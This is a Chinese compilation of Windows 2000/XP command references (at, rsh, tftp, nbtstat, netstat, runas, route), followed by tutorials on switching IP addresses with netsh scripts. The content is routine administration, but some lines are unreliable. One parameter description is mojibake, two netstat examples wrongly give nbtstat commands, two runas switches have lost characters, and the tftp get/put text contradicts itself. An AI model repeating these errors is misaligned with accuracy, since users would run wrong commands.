at [\\\\ComputerName] hours:minutes [/interactive] [{/everyate[,...]|/nextate[,...]}] command]

参数
\\\\computername
指定远程计算机。如果省略该参数,则 at 计划本地计算机上的命令和程序。
ID
指定指派给已计划命令的识别码。
/delete
取消已计划的命令。如果省略了 ID,则计算机中所有已计划的命令将被取消。
/yes
删除已计划的事件时,对来自系统的所有询问都回答“是”。
hours:minutes
指定命令运行的时间。该时间用 24 小时制(即从 00:00 [午夜] 到 23:59)的 小时: 分钟格式表示。
/interactive
对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。
/every:
在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行 command 命令。
date
指定运行命令的日期。可以指定一周的某日或多日(即,键入 M、T、W、Th、F、S、Su)或一个?械哪橙栈蚨嗳眨矗氪?1 到31 之间的数字)。用逗号分隔多个日期项。如果省略了 date,则 at 使用该月的当前日。
/next:
在下一个指定日期(比如,下一个星期四)到来时运行 command。
command
指定要运行的 Windows 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的通用命名协定 (UNC) 符号,而不是远程驱动器号。
/?
在命令提示符显示帮助。
注释
Schtasks 是功能更为强大的超集命令行计划工具,它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务,都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息,请参阅“相关主题”。

使用 at
使用 at 命令时,要求您必须是本地 Administrators 组的成员。

加载 Cmd.exe
在运行命令之前,At 不会自动加载 Cmd.exe (命令解释器)。如果没有运行可执行文件 (.exe),则在命令开头必须使用如下所示的方法专门加载 Cmd.exe:

cmd /c dir > c:\\test.out。

查看已计划的命令
当不带命令行选项使用 at 时,计划任务会出现在类似于以下格式的表中:

Status ID Day Time Command Line
OK 1 Each F 4:30 PM net send group leads status due
OK 2 Each M 12:00 AM chkstor > check.file
OK 3 Each F 11:59 PM backup2.bat
包含标识号 (ID)
当在命令提示下使用带有标识号 (ID) 的 at 命令时,单个任务项的信息会显示在类似于下面的格式中:

Task ID: 1

Status:OK

Schedule:Each F

Time of Day:4:30 PM

Command:net send group leads status due当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新键入该命令时让它少带些命令行选项。

查看结果
使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件,请使用重定向符号 (>。如果将输出重定向到文件,则不论是在命令行还是在批处理文件中使用 at,都需要在重定向符号之前使用转义符 。例如,要重定向输出到 Output.text 文件,则要键入:

at 14:45 c:\\test.bat ^>c:\\output.txt

执行命令的当前目录为 systemroot 文件夹。

更改系统时间
在使用 at 命令计划了要运行的命令之后,如果更改了计算机的系统时间,则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系统时间同步。

存储命令
已计划的命令存储在注册表中。这样,如果重新启动“计划”服务,则不会丢失计划任务。

连接到网络驱动器
对于需要访问网络的计划作业,请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器,或者,在该计划任务运行时如果有其他用户登录,则这些重定向的驱动器可能不会出现。因此,对于计划作业,请使用 UNC 路径。例如:

at 1:00pm my_backup \\\\server\\share

请不要使用下述语法(其中 x: ?表示由用户建立的连接):

at 1:00pm my_backup x:

如果计划了一个使用驱动器号的 at 命令来连接共享目录,则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接,则在命令提示下,所指派的驱动器号将不可用。

范例
要显示 Marketing 服务器上已计划的命令列表,请键入:

at \\\\marketing
要了解服务器 Corp 上标识号为 3 的命令的详细信息,请键入:

at \\\\corp 3
要计划在上午 8:00 于 Corp 服务器上运行网络共享命令,并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件(位于 Reports 共享目录下)中,请键入:

at \\\\corp 08:00 cmd /c "net share reports=d:\\marketing\\reports >> \\\\maintenance\\reports\\corp.txt"
为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器,首先创建名为 Archive.cmd 的批处理程序(它含有备份命令),然后计划该批处理程序的运行,为此请键入:

at \\\\marketing 00:00 /every:5,10,15,20,25,30 archive
要取消当前服务器上已计划的所有命令,请按下述方法清除 at 计划信息:

at /delete
如果要运行的命令不是可执行 (.exe) 文件,请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe:

cmd /c dir > c:\\test.out。
Rsh
在运行 RSH 服务的远程计算机上运行命令。Windows XP 和 Windows 2000 不提供 RSH 服务。Windows 2000 Server Resource Kit 提供名为 Rshsvc.exe 的 RSH 服务。使用不带参数的 rsh 显示帮助。

语法
rsh [Host] [-l UserName] [-n] [Command]

参数
Host
指定运行 command 的远程计算机。
-l UserName
指定远程计算机上使用的用户名。在省略情况下,使用当前登录用户的名称。
-n
将 rsh 的输入重定向到 NULL 设备。这防止本地计算机命令结果的显示。
Command
指定要运行的命令。
/?
在命令提示符显示帮助。
注释
标准*作
rsh 命令将标准输入复制到远程 command,将远程 command 的标准输出复制到其标准输出,将远程 command 的标准错误复制到其标准错误。Rsh 通常在远程命令终止时终止。

使用重定向符号
为了使重定向在远程计算机上发生,要以引号引住重定向符号(例如 ">>")。如果不使用引号,重定向会在本地计算机发生。例如,以下命令将远程文件“RemoteFile”附加到本地文件“LocalFile”中:

rsh othercomputer cat remotefile >> localfile

以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中:

rsh othercomputer cat remotefile ">>" otherremotefile

使用 rsh
在使用已登录到某个域并且运行 Windows XP Professional 的计算机时,该域的主域控制器必须可用于确认用户名或 rsh 命令失败。

.rhosts 文件
.rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。在正确配置了 .rhosts 文件的远程计算机上运行 rcp、rexec 或 rsh 命令时,您不必提供远程计算机的登录和密码信息。

.rhosts 文件是一个文本文件,该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制表符或空格分开,注释用符号 (#) 打头。例如:

host7 #This computer is in room 31A

.rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息,请参阅远程系统的文档。

只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要以名称 admin1 在远程计算机 vax1 上执行 telcon 命令,请键入:

rsh vax1 -l admin1 telcon

Tftp
向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件。

语法
tftp [-i] [Host] [{get | put}] [Source] [Destination]

参数
-i
指定二进制图像传送模式(也称为八进制模式)。在二进制图像模式下,文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如果省略了 -i,文件将以 ASCII 模式传送。这是默认的传送模式。该模式将行尾 (EOL) 字符转换为指定计算机的适当格式。传送文本文件时使用该模式。如果文件传送成功,将显示数据传输率。
Host
指定本地或远程计算机。
put
将本地计算机上的 Destination 文件传送到远程计算机上的 Source 文件。因为 TFTP 协议不支持用户身份验证,所以用户必须登录到远程计算机,同时文件在远程计算机上必须可写。
get
将远程计算机上的 Destination 文件传送到本地计算机上的 Source 文件。
Source
指定要传送的文件。
Destination
指定将文件传送到的位置。如果省略了 Destination,将假定它与 Source 同名。
/?
在命令提示符显示帮助。
注释
使用 get 参数
如果将本地计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 put。如果将远程计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 get。

Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客户端计算机提供远程引导功能。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要从本地计算机将文件 Users.txt 传送到远程计算机 vax1 上的 Users19.txt,请键入:

tftp vax1 put users.txt users19.txt
Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。

语法
nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]

参数
-a remotename
显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS 名称表是运行在该计算机上的应用程序使用的 NetBIOS 名称列表。
-A IPAddress
显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
-c
显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。
-n
显示本地计算机的 NetBIOS 名称表。Registered 中的状态表明该名称是通过广播或 WINS 服务器注册的。
-r
显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 的 Windows XP 计算机上,该参数将返回已通过广播和 WINS 解析和注册的名称号码。
-R
清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。
-RR
重新释放并刷新通过 WINS 注册的本地计算机的 NetBIOS 名称。
-s
显示 NetBIOS 客户和服务器会话,并试图将目标 IP 地址转化为名称。
-S
显示 NetBIOS 客户和服务器会话,只通过 IP 地址列出远程计算机。
Interval
重新显示选择的统计资料,可以中断每个显示之间的 Interval 中指定的秒数。按 CTRL+C 停止重新显示统计信息。如果省略该参数, netstat 将只显示一次当前的配置信息。
/?
在命令提示符显示帮助。
注释
Nbtstat 命令行参数区分大小写。
下表列出了由 Nbtstat 生成的列标题。 标题 说明
Input 接收的字节数。
Output 发送的字节数。
In/Out 该连接是否从计算机(传出)或者其他计算机到本地计算机(传入)。
Lift 名称表缓存项在被清除之前所存留的时间。
Local Name 本地 NetBIOS 名称与连接相关联。
Remote Host 与远程计算机相关的名称或 IP 地址。
<03> 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义,因为相同的名称(只有最后一个字节不同)可能在一台计算机上出现几次。例如,<20> 在 ASCII 文本中是一个空格。
Type 名称类型。名称可以是单个名称,也可以是组名称。
Status 远程计算机上是否在运行 NetBIOS 服务(“已注册”),或同一计算机名是否已注册了相同的服务(“冲突”)。
State NetBIOS 连接的状态。

下表列出了可能的 NetBIOS 连接状态。 状态 说明
已连接 会话已建立。
关联 连接的终结点已经被创建并与 IP 地址关联。
正接听 该终结点对内向连接可用。
空闲 该结束点已被打开单不能接收连接。
正在连接 会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。
接受 入站会话当前正在被接受,将在短期内连接。
重新连接 会话将试图重新连接(如果第一次连接失败)。
出站 会话正处于连接阶段。此阶段正在创建 TCP 连接。
入站 入站会话在连接期。
正在断开 会话正在断开连接。
已中断连接 本地计算机已断开连接,并正等待远程系统的确认。

只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表,请键入:

nbtstat -a CORP07

要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表,请键入:

nbtstat -A 10.0.0.99

要显示本地计算机的 NetBIOS 名称表,请键入:

nbtstat -n

要显示本地计算机 NetBIOS 名称缓存的内容,请键入:

nbtstat -c

要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目,请键入:

nbtstat -R

要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册,请键入:

nbtstat -RR

要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料,请键入:

nbtstat -S 5

Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。

语法
netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]

参数
-a
显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
-e
显示以太网统计信息,如发送和接收的字节数、数据包数。该参数可以与 -s 结合使用。
-n
显示活动的 TCP 连接,不过,只以数字形式表现地址和端口号,却不尝试确定名称。
-o
显示活动的 TCP 连接并包括每个连接的进程 ID (PID)。可以在 Windows 任务管理器中的“进程”选项卡上找到基于 PID 的应用程序。该参数可以与 -a、-n 和 -p 结合使用。
-p Protocol
显示 Protocol 所指定的协议的连接。在这种情况下,Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果该参数与 -s 一起使用按协议显示统计信息,则 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。
-s
按协议显示统计信息。默认情况下,显示 TCP、UDP、ICMP 和 IP 协议的统计信息。如果安装了 Windows XP 的 IPv6 协议,就会显示有关 IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 协议的统计信息。可以使用 -p 参数指定协议集。
-r
显示 IP 路由表的内容。该参数与 route print 命令等价。
Interval
每隔 Interval 秒重新显示一次选定的信息。按 CTRL+C 停止重新显示统计信息。如果省略该参数,netstat 将只打印一次选定的信息。
/?
在命令提示符显示帮助。
注释
与该命令一起使用的参数必须以连字符 (-) 而不是以短斜线 (/) 作为前缀。
Netstat 提供下列统计信息:
Proto
协议的名称(TCP 或 UDP)。

Local Address
本地计算机的 IP 地址和正在使用的端口号。如果不指定 -n 参数,就显示与 IP 地址和端口的名称对应的本地计算机名称。如果端口尚未建立,端口以星号(*)显示。

Foreign Address
连接该插槽的远程计算机的 IP 地址和端口号码。如果不指定 -n 参数,就显示与 IP 地址和端口对应的名称。如果端口尚未建立,端口以星号(*)显示。

(state)
表明 TCP 连接的状态。可能的状态如下:

CLOSE_WAIT

CLOSED

ESTABLISHED

FIN_WAIT_1

FIN_WAIT_2

LAST_ACK

LISTEN

SYN_RECEIVED

SYN_SEND

TIMED_WAIT

有关 TCP 连接状态的信息,请参阅 RFC 793。

只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要想显示以太网统计信息和所有协议的统计信息,请键入下列命令:

netstat -e -s

要想仅显示 TCP 和 UDP 协议的统计信息,请键入下列命令:

netstat -s -p tcp udp

要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID,请键入下列命令:

nbtstat -o 5

要想以数字形式显示活动的 TCP 连接和进程 ID,请键入下列命令:

nbtstat -n –o

Runas
允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限。

语法
runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program

参数
/profile
加载用户的配置文件。/profile 是默认值。
/no profile
/noprofile 指定不加载用户的配置文件。这使应用程序载入的更加快速,但是在一些应用程序中也会引起错误。
/env
指定当前使用的网络环境,而不是用户的本地环境。
/netonly
指明指定的用户信息只用于远程访问。
/smartcard
/smartcard 表示凭据是否是由智能卡提供的。
/showtrustlevels
列出 /trustlevel 开关项。
/trustlevel
指定应用程序运行所在的授权级别。使用 /showtrustlevels 查看可用的信任级别。
/user:UserAccountName
指定在其下运行程序的用户帐户的名称。用户帐户的格式应是 user@domain 或 domain\\user。
程序
指定要用在 /user 中指定的帐户运行的程序或命令。
/?
在命令提示符显示帮助。
注释
管理员可以使用一个权限受限制的帐户执行日常、非管理性的任务,只有在执行特定管理任务时,才使用一个权限更大的帐户。要不经过注销再重新登录就完成这样的任务,可以用一般帐户登录,然后使用 runas 命令来运行需要更大权限的工具。
有关 runas 命令的使用范例,请参阅“相关主题”。
尽管 runas 通常由 Administrator 帐户使用,但并非仅限于 Administrator 帐户。任何拥有多个帐户的用户均可以利用备用凭据,使用 runas 运行程序、MMC 控制台或“控制面板”项。
如果要在计算机上使用 Administrator 帐户,对于 /user:,键入下列参数之一:
/user:AdministratorAccountName@ComputerName

/user:ComputerName\\AdministratorAccountName

如果想以域管理员身份使用这个命令,键入下列参数之一:
/user:AdministratorAccountName@DomainName

/useromainName\\AdministratorAccountName

runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组(例如“Users”或“Power Users”组)的成员登录到计算机时,可以以管理员的身份运行。
可以使用 runas 命令来启动任何程序、MMC 控制器或“控制面板”项。只要提供适当的用户帐户和密码信息,用户帐户就具有登录到计算机的能力,并且程序、MMC 控制台、“控制面板”项在系统中及对该用户帐户均可用.
runas 命令允许您管理其他域的服务器(运行工具的计算机和要管理的服务器在不同的域中)。
如果尝试使用 runas 从网络位置启动程序、MMC 控制台或“控制面板”项,可能会因为用来连接网络共享的凭据与用来启动程序的凭据不同而失败。后者的凭据可能无法访问同一网络共享。
有些项,例如“打印机”文件夹和桌面项,间接由 Windows 2000 打开,而不能使用 runas 命令启动。
如果 runas 命令失败,则可能是没有运行 RunAs 服务或使用的用户帐户无效。要检查 RunAs 服务的状态,请在“计算机管理”中单击“服务和应用程序”,然后单击“服务”。要测试用户帐户,请尝试使用该帐户登录合适的域。
范例
要在本地计算机上以管理员身份启动 Windows 2000 命令提示行实例,请键入:

runas /user:localmachinename\\administrator cmd
系统提示时,键入管理员密码。

要使用名为 companydomain\\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例,请键入:

runas /user:companydomain\\domainadmin "mmc %windir%\\system32\\compmgmt.msc"
当提示时,键入帐户密码。

要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例,请键入:

runas /user:user@domain.microsoft.com "notepad my_file.txt"
当提示时,键入帐户密码。

要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例,请键入:

runas /netonly /useromain\\username "command"
domain\\username 必须是有足够权限管理服务器的用户。当提示时,键入帐户密码。
Route
在本地 IP 路由表中显示和修改条目。使用不带参数的 route 可以显示帮助。

语法
route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric] [if Interface]

参数
-f
清除所有不是主路由(网掩码为 255.255.255.255 的路由)、环回网络路由(目标为 127.0.0.0,网掩码为 255.255.255.0 的路由)或多播路由(目标为 224.0.0.0,网掩码为 240.0.0.0 的路由)的条目的路由表。如果它与命令之一(例如 add、change 或 delete)结合使用,表会在运行命令之前清除。
-p
与 add 命令共同使用时,指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下,启动 TCP/IP 协议时不会保存添加的路由。与 print 命令一起使用时,则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\PersistentRoutes。
Command
指定要运行的命令。下表列出了有效的命令。 命令 目的
add 添加路由
change 更改现存路由
delete 删除路由
print 打印路由

Destination
指定路由的网络目标地址。目标地址可以是一个 IP 网络地址(其中网络地址的主机地址位设置为 0),对于主机路由是 IP 地址,对于默认路由是 0.0.0.0。
mask subnetmask
指定与网络目标地址相关联的网掩码(又称之为子网掩码)。子网掩码对于 IP 网络地址可以是一适当的子网掩码,对于主机路由是 255.255.255.255 ,对于默认路由是 0.0.0.0。如果忽略,则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是 0,则目标地址中的对应位就不能设置为 1。
Gateway
指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由,网关地址是分配给连接子网接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。
metric Metric
为路由指定所需跃点数的整数值(范围是 1 ~ 9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。
if Interface
指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值,要在十六进制数的前面加上 0x。忽略 if 参数时,接口由网关地址确定。
/?
在命令提示符显示帮助。
注释
路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN 接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数,请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。
如果在 systemroot\\System32\\Drivers\\Etc 文件夹的本地网络文件中存在适当的条目,名称可以用于 Destination。只要名称可以通过“域名系统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址,就可以将其用于 Gateway,DNS 查询使用存储在 systemroot\\System32\\Drivers\\Etc 文件夹下的本地主机文件和 NetBIOS 名称解析。
如果是 print 或 delete 命令,可以忽略 Gateway 参数,使用通配符来表示目标和网关。Destination 的值可以是由星号 指定的通配符。如果指定目标含有一个星号 或问号 (?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字符。例如, 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。
使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1,而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分(由子网掩码所定义)是否有些位设置成了 1。
只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98 的 route 命令不支持该参数。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要显示 IP 路由表的完整内容,请键入:

route print

要显示 IP 路由表中以 10. 开始的路由,请键入:

route print 10.*

要添加默认网关地址为 192.168.12.1 的默认路由,请键入:

route add 0.0.0.0 mask 0.0.0.0 192.168.12.1

要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的路由,请键入:

route add 10.41.0.0 mask 255.255.0.0 10.27.0.1

要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的永久路由,请键入:

route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1

要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,跃点数为 7 的路由,请键入:

route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7

要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,接口索引为 0x3 的路由,请键入:

route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3

要删除目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由,请键入:

route delete 10.41.0.0 mask 255.255.0.0

要删除 IP 路由表中以 10. 开始的所有路由,请键入:

route delete 10.*

要将目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25,请键入:

route change 10.41.0.0 mask 255.255.0.0 10.27.0.25

怎样在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server
在命令行下更改ip地址

Windows2000是现在比较流行的*作系统,它的功能是很强大的,它甚至可以象Unix一样在命令行下做很多的工作。下面一种在命令行下更改ip地址的方法,现介绍给大家(括号里是一些注释,黑体字是人工录入的):

C:\\>ipconfig (首先用ipconfig这个命令看一下更改之前的ip地址)

Windows 2000 IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 10.1.1.94 (本地连接更改之前的ip)

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 10.1.1.254

C:\\>netsh (进入设置模式)

netsh>interface

interface>ip

interface ip>set address "本地连接" static 10.1.1.111 255.255.255.0 10.1.1.254

interface ip>exit


上文中的set命令具体解释如下:

set address - 设置指定的接口的 IP 地址和默认网关。

set dns - 设置 DNS 服务器模式和地址。

set wins - 设置 WINS 服务器模式和地址。


C:\\>ipconfig (更改后再用ipconfig命令看一下,确认一下是否更改成功)

Windows 2000 IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 10.1.1.111

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 10.1.1.254


命令一览
.. - 移到上一层上下文级。
? - 显示命令列表。
aaaa - 更改到 `aaaa` 上下文。
abort - 丢弃在脱机模式下所做的更改。
add - 将一个配置项添加到项目列表中。
alias - 添加一个别名
bye - 退出程序。
commit - 提交在脱机模式中所做的更改。
delete - 在项目列表上删除一个配置项目。
dhcp - 更改到 `dhcp` 上下文。
dump - 显示一个配置脚本。
exec - 运行一个脚本文件。
exit - 退出程序。
help - 显示命令列表。
interface - 更改到 `interface` 上下文。
offline - 将当前模式设置成脱机。
online - 将当前模式设置成联机。
popd - 从堆栈上打开一个上下文。
pushd - 将当前上下文放推入堆栈。
quit - 退出程序。
ras - 更改到 `ras` 上下文。
routing - 更改到 `routing` 上下文。
set - 更新配置设置。
show - 显示信息
unalias - 删除一个别名。
wins - 更改到 `wins` 上下文。
快速切换IP地址有绝招

在工作过程中会遇到在不同的网段中进行网络调试的情况,经常需要将机器在几个不同的IP地址中进行切换。在Win2000*作系统中改变IP地址较之Win98已经方便多了因为改完IP地址后不需要重启计算机,但还要进入网络属性设置中进行*作。有没 有再简便一点的方法呢,比如用鼠标双击一下快捷方式就可以实现IP地址的切换?

  答案是肯定的。在Win2000中用netsh命令就可以实现这个功能。首先进入命令行模式(在“开始→运行”中键入“cmd”即可进入命令行模式),在提示符下键入netsh即可进入netsh的界面。再键入int ip进入接口IP的配置模式,键入dump则列出接口IP配置信息:

  C:\\Documents and Settings\\Administrator>netsh
  netsh>
  netsh>int ip
  interface ip>dump
  # ----------------------------------
  # 接口 IP 配置
  # ----------------------------------
  pushd interface ip
  # ″本地连接″ 的接口IP 配置(注:以下显示视具体机器情况而定)
  set address name = ″本地连接″ source = static addr = 192.168.0.5 mask = 255.255.255.0
  set address name = ″本地连接″ gateway = 192.168.0.2 gwmetric = 1
  set dns name = ″本地连接″ source = static addr = 61.237.17.181
  add dns name = ″本地连接″ addr = 211.97.168.129
  add dns name = ″本地连接″ addr = 211.98.4.1
  set wins name = ″本地连接″ source = static addr = none
  # ″本地连接 2″ 的接口 IP 配置
  set address name = ″本地连接 2″ source = dhcp
  set dns name = ″本地连接 2″ source = dhcp
  set wins name = ″本地连接 2″ source = dhcp
  popd
  # 接口 IP 配置结束

快速切换IP地址有绝招 2


现在我们可以大致了解到用netsh命令更改IP地址的方式,即通过“set address name =连接名称(连接名称要用引号括起来)source=static addr=IP地址 mask=子网掩码”来实现。

  到命令行模式下用netsh直接试一下。比如要将本机的IP地址改为192.168.0.7,子网掩码为255.255.255.0,可以进行以下*作:

  C:\\Documents and Settings\\Administrator>netsh
  netsh>int ip
  interface ip>set address name ="本地连接"source = static addr = 192.168.0.7 mask = 255.255.255.0
  确认更改。
  interface ip>exit
  再用ipconfig命令核实一下:
  C:\\Documents and Settings\\Administrator>ipconfig
  Windows 2000 IP Configuration
  Ethernet adapter 本地连接 2
  Media State . . . . . . . . . . .  Cable Disconnected
  Ethernet adapter 本地连接
  Connection-specific DNS Suffix . 
  IP Address. . . . . . . . . . . .  192.168.0.7
  Subnet Mask . . . . . . . . . . .  255.255.255.0
  Default Gateway . . . . . . . . .  192.168.0.2

  从以上显示中可以看到已经成功实现了在Win2000中用命令行方式来改变IP地址。用这种方式改变IP地址甚至还没有在图形界面中*作来得快。不过我们再用脚本帮一下忙,离胜利目标就不远了。首先打开记事本,输入以下内容:

  int ip
  set address name=″本地连接″ source=static addr=192.168.0.7 mask=255.255.255.0

  然后保存为一个名为“7.sh”的文件,放到C盘根目录下,再进入命令行模式,在C盘根目录下键入“netsh exec 7.sh”,好像没什么反应啊?不过再用ipconfig查看一下,会发现IP地址已经改过来了。

  最后再用记事本写一个批处理文件,命名为“7.bat”,内容为“netsh exec 7.sh”。为该文件在桌面上创建一个快捷方式,这样双击该快捷方式即可实现IP地址的快速改变。如果要快速在192.168.0.5、192.168.0.7等相同网段IP地址间进行切换的话,只需要改变“addr”后面的地址即可,但是要将IP地址改 为如172.19.96.7之类不同网段的IP地址,就需要将网关信息一起改变,也就是在脚本文件中加入一行关于网关的信息:

  int ip
  set address name = ″本地连接″source = static addr= 172.19.96.7 mask = 255.255.255.0
  set address name = ″本地连接″gateway = 172.19.96.1 gwmetric = 1

  同样地将以上内容存为脚本文件,再做成批处理文件执行一下,用ipconfig/all命令检测一下,发现包括网关在内的信息也修改过来了。这是不是既快又方便,IP地址想换就换?
使用 netstat 显示连接统计
可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接,而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示 Ethernet 统计信息,而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n,则不能将地址和端口号转换成名称。
